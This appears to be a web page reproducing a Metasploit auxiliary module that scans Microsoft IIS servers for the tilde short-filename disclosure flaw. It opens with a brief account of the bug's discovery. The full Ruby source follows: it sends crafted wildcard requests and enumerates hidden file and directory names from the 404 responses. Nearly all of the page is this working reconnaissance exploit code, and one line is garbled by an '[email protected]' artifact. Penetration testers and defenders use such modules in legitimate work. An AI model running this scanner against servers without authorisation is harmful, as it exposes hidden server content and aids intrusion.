Headline
Microsoft IIS Shortname Scanner
The vulnerability is caused by a tilde character “~” in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Rex::Proto::Http def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft IIS shortname vulnerability scanner', 'Description' => %q{ The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS. }, 'Author' => [ 'Soroush Dalili', # Vulnerability discovery 'Ali Abbasnejad', # Vulnerability discovery 'MinatoTW <shaks19jais[at]gmail.com>', # Metasploit module 'egre55 <ianaustin[at]protonmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/' ], [ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ] ] ) ) register_options([ Opt::RPORT(80), OptString.new('PATH', [ true, "The base path to start scanning from", "/" ]), OptInt.new('THREADS', [ true, "Number of threads to use", 20]) ]) @dirs = [] @files = [] @threads = [] @queue = Queue.new @queue_ext = Queue.new @alpha = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()-@^_`{}' @charset_names = [] @charset_extensions = [] @charset_duplicates = [] @verb = "" @name_size= 6 @path = "" end def check is_vul ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe rescue Rex::ConnectionError print_bad("Failed to connect to target") end def is_vul @path = datastore['PATH'] for method in ['GET', 'OPTIONS'] # Check for existing file res1 = send_request_cgi({ 'uri' => normalize_uri(@path, '*~1*'), 'method' => method }) # Check for non-existing file res2 = send_request_cgi({ 'uri' => normalize_uri(@path,'QYKWO*~1*'), 'method' => method }) if res1 && res1.code == 404 && res2 && res2.code != 404 @verb = method return true end end return false rescue Rex::ConnectionError print_bad("Failed to connect to target") end def get_status(f , digit , match) # Get response code for a file/folder res2 = send_request_cgi({ 'uri' => normalize_uri(@path,"#{f}#{match}~#{digit}#{match}"), 'method' => @verb }) return res2.code rescue NoMethodError print_error("Unable to connect to #{datastore['RHOST']}") end def get_incomplete_status(url, match, digit , ext) # Check if the file/folder name is more than 6 by using wildcards res2 = send_request_cgi({ 'uri' => normalize_uri(@path,"#{url}#{match}~#{digit}.#{ext}*"), 'method' => @verb }) return res2.code rescue NoMethodError print_error("Unable to connect to #{datastore['RHOST']}") end def get_complete_status(url, digit , ext) # Check if the file/folder name is less than 6 and complete res2 = send_request_cgi({ 'uri' => normalize_uri(@path,"#{url}*~#{digit}.#{ext}"), 'method' => @verb }) return res2.code rescue NoMethodError print_error("Unable to connect to #{datastore['RHOST']}") end def scanner while !@queue_ext.empty? f = @queue_ext.pop url = f.split(':')[0] ext = f.split(':')[1] # Split string into name and extension and check status status = get_incomplete_status(url, "*" , "1" , ext) next unless status == 404 next unless ext.size <= 3 @charset_duplicates.each do |x| if get_complete_status(url, x , ext) == 404 @files << "#{url}*~#{x}.#{ext}*" end end if ext.size < 3 for c in @charset_extensions @queue_ext << (f + c ) end end end end def scan while [email protected]? url = @queue.pop status = get_status(url , "1" , "*") # Check strings only upto 6 chars in length next unless status == 404 if url.size == @name_size @charset_duplicates.each do |x| if get_status(url , x , "") == 404 @dirs << "#{url}*~#{x}" end end # If a url exists then add to new queue for extension scan for ext in @charset_extensions @queue_ext << ( url + ':' + ext ) @threads << framework.threads.spawn("scanner", false) { scanner } end else @charset_duplicates.each do |x| if get_complete_status(url, x , "") == 404 @dirs << "#{url}*~#{x}" break end end if get_incomplete_status(url, "" , "1" , "") == 404 for ext in @charset_extensions @queue_ext << ( url + ':' + ext ) @threads << framework.threads.spawn("scanner", false) { scanner } end elsif url.size < @name_size for c in @charset_names @queue <<(url +c) end end end end end def reduce # Reduce the total charset for filenames by checking if a character exists in any of the files for c in @alpha.chars res = send_request_cgi({ 'uri' => normalize_uri(@path,"*#{c}*~1*"), 'method' => @verb }) if res && res.code == 404 @charset_names << c end end end def ext # Reduce the total charset for extensions by checking if a character exists in any of the extensions for c in @alpha.chars res = send_request_cgi({ 'uri' => normalize_uri(@path,"*~1.*#{c}*"), 'method' => @verb }) if res && res.code == 404 @charset_extensions << c end end end def dup # Reduce the total charset for duplicate files/folders array = [*('1'..'9')] array.each do |c| res = send_request_cgi({ 'uri' => normalize_uri(@path,"*~#{c}.*"), 'method' => @verb }) if res && res.code == 404 @charset_duplicates << c end end end def run unless is_vul print_status("Target is not vulnerable, or no shortname scannable files are present.") return end unless @path.end_with? '/' @path += '/' end print_status("Scanning in progress...") @threads << framework.threads.spawn("reduce_names",false) { reduce } @threads << framework.threads.spawn("reduce_duplicates",false) { dup } @threads << framework.threads.spawn("reduce_extensions",false) { ext } @threads.each(&:join) for c in @charset_names @queue << c end datastore['THREADS'].times { @threads << framework.threads.spawn("scanner", false) { scan } } Rex.sleep(1) until @queue_ext.empty? @threads.each(&:join) proto = datastore['SSL'] ? 'https' : 'http' if @dirs.empty? print_status("No directories were found") else print_good("Found #{@dirs.size} directories") @dirs.each do |x| print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}") end end if @files.empty? print_status("No files were found") else print_good("Found #{@files.size} files") @files.each do |x| print_good("#{proto}://#{datastore['RHOST']}#{@path}#{x}") end end endend